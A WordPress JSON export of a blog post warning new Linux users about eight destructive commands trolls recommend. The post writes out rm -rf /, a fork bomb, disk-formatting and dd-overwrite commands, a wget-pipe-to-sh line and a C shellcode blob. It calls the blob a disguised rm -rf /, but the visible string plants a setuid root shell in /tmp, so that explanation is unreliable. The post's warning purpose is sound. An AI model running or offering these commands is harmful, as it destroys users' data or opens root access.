{"id":1323,"date":"2013-06-27T05:17:55","date_gmt":"2013-06-27T05:17:55","guid":{"rendered":"http:\/\/microsoftgeek.com\/?p=1323"},"modified":"2013-06-27T05:17:55","modified_gmt":"2013-06-27T05:17:55","slug":"8-deadly-commands-you-should-never-run-on-linux","status":"publish","type":"post","link":"https:\/\/microsoftgeek.com\/?p=1323","title":{"rendered":"8 Deadly Commands You Should Never Run on Linux"},"content":{"rendered":"<p>Linux\u2019s terminal commands are powerful, and Linux won\u2019t ask you for confirmation if you run a command that won\u2019t break your system. It\u2019s not uncommon to see trolls online recommending new Linux users run these commands as a joke.<\/p>\n<p>Learning the commands you shouldn\u2019t run can help protect you from trolls while increasing your understanding of how Linux works. This isn\u2019t an exhaustive guide, and the commands here can be remixed in a variety of ways.<\/p>\n<p>Note that many of these commands will only be dangerous if they\u2019re prefixed with <strong>sudo<\/strong> on Ubuntu \u2013 they won\u2019t work otherwise. On other Linux distributions, most commands must be run as root.<\/p>\n<h3>rm -rf \/ \u2013 Deletes Everything!<\/h3>\n<p>The command<strong> rm -rf \/ <\/strong>deletes everything it possible can, including\u00a0files\u00a0on your hard drive\u00a0and\u00a0files on connected removable media devics. This command is more understandable if it\u2019s broken down:<\/p>\n<blockquote><p><strong>rm<\/strong> \u2013 Remove the following files.<\/p>\n<p><strong>-rf<\/strong> \u2013 Run rm recursively (delete all files and folders inside the specified folder) and force-remove all files without prompting you.<\/p>\n<p><strong>\/<\/strong> \u2013 Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, including remote file shares and removable drives.<\/p><\/blockquote>\n<p>Linux will happily obey this command and delete everything without prompting you, so be careful when using it! The rm command can also be used in other dangerous ways \u2013 <strong>rm \u2013rf ~<\/strong> would delete all files in your home folder, while<strong> rm -rf .*<\/strong> would delete all your configuration files.<\/p>\n<p><strong>The Lesson:<\/strong> Beware rm -rf.<\/p>\n<h3>Disguised rm \u2013rf \/<\/h3>\n<p>Here\u2019s another snippet of code that\u2019s all over the web:<\/p>\n<blockquote><p>char esp[] __attribute__ ((section(\u201c.text\u201d))) \/* e.s.p<br \/>\nrelease *\/<br \/>\n= \u201c\\xeb\\x3e\\x5b\\x31\\xc0\\x50\\x54\\x5a\\x83\\xec\\x64\\x68\u2033<br \/>\n\u201c\\xff\\xff\\xff\\xff\\x68\\xdf\\xd0\\xdf\\xd9\\x68\\x8d\\x99\u2033<br \/>\n\u201c\\xdf\\x81\\x68\\x8d\\x92\\xdf\\xd2\\x54\\x5e\\xf7\\x16\\xf7\u2033<br \/>\n\u201c\\x56\\x04\\xf7\\x56\\x08\\xf7\\x56\\x0c\\x83\\xc4\\x74\\x56\u2033<br \/>\n\u201c\\x8d\\x73\\x08\\x56\\x53\\x54\\x59\\xb0\\x0b\\xcd\\x80\\x31\u2033<br \/>\n\u201c\\xc0\\x40\\xeb\\xf9\\xe8\\xbd\\xff\\xff\\xff\\x2f\\x62\\x69\u2033<br \/>\n\u201c\\x6e\\x2f\\x73\\x68\\x00\\x2d\\x63\\x00\u2033<br \/>\n\u201ccp -p \/bin\/sh \/tmp\/.beyond; chmod 4755<br \/>\n\/tmp\/.beyond;\u201d;<\/p><\/blockquote>\n<p>This is the hex version of rm \u2013rf \/<strong> \u2013<\/strong> executing this command would wipe out your files just as if you had run rm \u2013rf \/.<\/p>\n<p><strong>The Lesson:<\/strong> Don\u2019t run weird-looking, obviously disguised commands that you don\u2019t understand.<\/p>\n<h3>:(){ :|: &amp; };: \u2013 Fork Bomb<\/h3>\n<p>The following line is a simple-looking, but dangerous, bash function:<\/p>\n<blockquote><p>:(){ :|: &amp; };:<\/p><\/blockquote>\n<p>This short line defines a shell function that creates new copies of itself. The process continually replicates itself, and its copies continually replicate themselves, quickly taking up all your CPU time and memory. This can cause your computer to freeze. It\u2019s basically a denial-of-service attack.<\/p>\n<p><strong>The Lesson:<\/strong> Bash functions are powerful, even very short ones.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" title=\"image\" alt=\"\" src=\"http:\/\/cdn.howtogeek.com\/wp-content\/uploads\/2012\/09\/image247.png\" width=\"650\" height=\"402\" border=\"\" \/><\/p>\n<p><small>Image Credit: <a href=\"http:\/\/commons.wikimedia.org\/wiki\/File:Fork_bomb.svg\" rel=\"nofollow\">Dake on Wikimedia Commons<\/a><\/small><\/p>\n<h3>mkfs.ext4 \/dev\/sda1 \u2013 Formats a Hard Drive<\/h3>\n<p>The <strong>mkfs.ext4 \/dev\/sda1\u00a0<\/strong>command is simple to understand:<\/p>\n<blockquote><p><strong>mkfs.ext4<\/strong> \u2013 Create a new ext4 file system on the following device.<\/p>\n<p><strong>\/dev\/sda1<\/strong> \u2013 Specifies the first partition on the first hard drive, which is probably in use.<\/p><\/blockquote>\n<p>Taken together, this command can be equivalent to running format c: on Windows \u2013 it will wipe the files on your first partition and replace them with a new file system.<\/p>\n<p>This command can come in other forms as well \u2013<strong> mkfs.ext3 \/dev\/sdb2<\/strong> would format the second partition on the second hard drive with the ext3 file system.<\/p>\n<p><strong>The Lesson:<\/strong> Beware running commands directly on hard disk devices that begin with \/dev\/sd.<\/p>\n<h3>command &gt; \/dev\/sda \u2013 Writes Directly to a Hard Drive<\/h3>\n<p>The <strong>command &gt; \/dev\/sda<\/strong>\u00a0line works similarly \u2013 it runs a command and sends the output of that command directly to your first hard drive, writing the data directly to the hard disk drive and damaging your file system.<\/p>\n<blockquote><p><strong>command<\/strong> \u2013 Run a command (can be any command.)<\/p>\n<p><strong>&gt;<\/strong> \u2013 Send the output of the command to the following location.<\/p>\n<p><strong>\/dev\/sda<\/strong> \u2013 Write the output of the command directly to the hard disk device.<\/p><\/blockquote>\n<p><strong>The Lesson:<\/strong>\u00a0As above, beware running commands that involve hard disk devices beginning with \/dev\/sd.<\/p>\n<h3>dd if=\/dev\/random of=\/dev\/sda \u2013 Writes Junk Onto a Hard Drive<\/h3>\n<p>The <strong>dd if=\/dev\/random of=\/dev\/sda <\/strong>line will also\u00a0obliterate\u00a0the data on one of your hard drives.<\/p>\n<blockquote><p><strong>dd<\/strong> \u2013 Perform low-level copying from one location to another.<\/p>\n<p><strong>if=\/dev\/random<\/strong> \u2013 Use \/dev\/random (random data) as the input \u2013 you may also see locations such as \/dev\/zero (zeros).<\/p>\n<p><strong>of=\/dev\/sda<\/strong> \u2013 Output to the first hard disk, replacing its file system with random garbage data.<\/p><\/blockquote>\n<p><strong>The Lesson:<\/strong> dd copies data from one location to another, which can be dangerous if you\u2019re copying directly to a device.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" title=\"hard-drive-lights\" alt=\"\" src=\"http:\/\/cdn.howtogeek.com\/wp-content\/uploads\/2012\/09\/hard-drive-lights.jpg\" width=\"650\" height=\"431\" border=\"\" \/><\/p>\n<p><small>Image Credit: <a href=\"http:\/\/www.flickr.com\/photos\/mattandkim\/97509807\/\" rel=\"nofollow\">Matt Rudge on Flickr<\/a><\/small><\/p>\n<h3>mv ~ \/dev\/null \u2013 Moves Your Home Directory to a Black Hole<\/h3>\n<p>\/dev\/null is another special location \u2013 moving something to \/dev\/null is the same thing as destroying it. Think of \/dev\/null as a black hole. Essentially, <strong>mv ~ \/dev\/null<\/strong>\u00a0sends all your personal files into a black hole.<\/p>\n<blockquote><p><strong>mv<\/strong> \u2013 Move the following file or directory to another location.<\/p>\n<p><strong>~<\/strong> \u2013 Represents your entire home folder.<\/p>\n<p><strong>\/dev\/null<\/strong> \u2013 Move your home folder to \/dev\/null, destroying all your files and deleting the original copies.<\/p><\/blockquote>\n<p><strong>The Lesson:<\/strong> The ~ character represents your home folder and moving things to \/dev\/null destroys them.<\/p>\n<h3>wget http:\/\/example.com\/something -O \u2013 | sh \u2013 Downloads and Runs a Script<\/h3>\n<p>The above line downloads a script from the web and sends it to sh,which executes the contents of the script. This can be dangerous if you\u2019re not sure what the script is or if you don\u2019t trust its source \u2013 don\u2019t run untrusted scripts.<\/p>\n<blockquote><p><strong>wget<\/strong> \u2013 Downloads a file. (You may also see curl in place of wget.)<\/p>\n<p><strong>http:\/\/example.com\/something<\/strong> \u2013 Download the file from this location.<\/p>\n<p><strong>|<\/strong> \u2013 Pipe (send) the output of the wget command (the file you downloaded) directly to another command.<\/p>\n<p><strong>sh<\/strong> \u2013 Send the file to the sh command, which executes it if it\u2019s a bash script.<\/p><\/blockquote>\n<p><strong>The Lesson:<\/strong> Don\u2019t download and run untrusted scripts from the web, even with a command.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Linux\u2019s terminal commands are powerful, and Linux won\u2019t ask you for confirmation if you run a command that won\u2019t break your system. It\u2019s not uncommon to see trolls online recommending new Linux users run these commands as a joke. Learning the commands you shouldn\u2019t run can help protect you from trolls while increasing your understanding [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[13],"tags":[],"class_list":["post-1323","post","type-post","status-publish","format-standard","hentry","category-linux"],"_links":{"self":[{"href":"https:\/\/microsoftgeek.com\/index.php?rest_route=\/wp\/v2\/posts\/1323","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/microsoftgeek.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/microsoftgeek.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/microsoftgeek.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/microsoftgeek.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1323"}],"version-history":[{"count":2,"href":"https:\/\/microsoftgeek.com\/index.php?rest_route=\/wp\/v2\/posts\/1323\/revisions"}],"predecessor-version":[{"id":1325,"href":"https:\/\/microsoftgeek.com\/index.php?rest_route=\/wp\/v2\/posts\/1323\/revisions\/1325"}],"wp:attachment":[{"href":"https:\/\/microsoftgeek.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1323"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/microsoftgeek.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1323"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/microsoftgeek.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1323"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}